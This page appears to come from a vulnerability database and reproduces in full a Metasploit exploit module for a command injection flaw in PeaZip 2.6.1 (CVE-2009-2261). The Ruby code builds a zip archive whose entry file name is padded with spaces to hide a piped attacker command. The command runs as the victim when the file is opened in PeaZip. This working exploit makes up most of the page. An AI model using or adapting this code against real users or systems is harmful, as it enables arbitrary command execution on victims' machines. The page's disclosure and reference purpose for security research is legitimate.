Lucene search
K

PeaZip <= 2.6.1 Zip Processing Command Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

PeaZip <= 2.6.1 Zip Processing Command Injection vulnerability allows arbitrary command execution via specially crafted zip files in PeaZip on Windows

Code

                                                ##
# $Id: peazip_command_injection.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;
require &#39;rex/zip&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;PeaZip &#60;= 2.6.1 Zip Processing Command Injection&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a command injection vulnerability in PeaZip. All
				versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with
				version 2.6.1 on Windows.

				In order for the command to be executed, an attacker must convince someone to
				open a specially crafted zip file with PeaZip, and access the specially file via
				double-clicking it. By doing so, an attacker can execute arbitrary commands
				as the victim user.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;Nine:Situations:Group::pyrokinesis&#39;,
					&#39;jduck&#39;
				],
			&#39;Version&#39;        =&#62; &#39;$Revision: 10394 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2009-2261&#39; ],
					[ &#39;OSVDB&#39;, &#39;54966&#39; ],
					[ &#39;URL&#39;, &#39;http://peazip.sourceforge.net/&#39; ],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/8881&#39; ]
				],
			&#39;Platform&#39;       =&#62; [&#39;unix&#39;, &#39;win&#39;, &#39;linux&#39;],
			&#39;Arch&#39;           =&#62; ARCH_CMD,
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 1024,
					&#39;BadChars&#39; =&#62; &#39;&#39;,
					&#39;DisableNops&#39; =&#62; true,
					&#39;Compat&#39;      =&#62;
						{
							&#39;PayloadType&#39; =&#62; &#39;cmd&#39;,
							&#39;RequiredCmd&#39; =&#62; &#39;generic perl telnet&#39;,
						}
				},
			&#39;Targets&#39;        =&#62;
				[
					[&#39;Automatic&#39;, { }],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Jun 05 2009&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))

		register_options(
			[
				OptString.new(&#39;FILENAME&#39;, [ true, &#39;The file name.&#39;, &#39;msf.zip&#39;]),
			], self.class)
	end


	def exploit

		# NOTE: using a command line containing / or \ will result in the command
		# being easily visible to the victim
		cmd = datastore[&#39;CMD&#39;]

		fname = &#34;README.TXT&#34;
		rest = &#34;\&#34;|#{cmd}|.txt&#34;
		fname &#60;&#60; &#34; &#34; * (255 - fname.length - rest.length)
		fname &#60;&#60; rest

		content = rand_text_alphanumeric(rand(1024))

		zip = Rex::Zip::Archive.new
		zip.add_file(fname, content)

		# Create the file
		print_status(&#34;Creating &#39;#{datastore[&#39;FILENAME&#39;]}&#39; file...&#34;)

		file_create(zip.pack)
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
19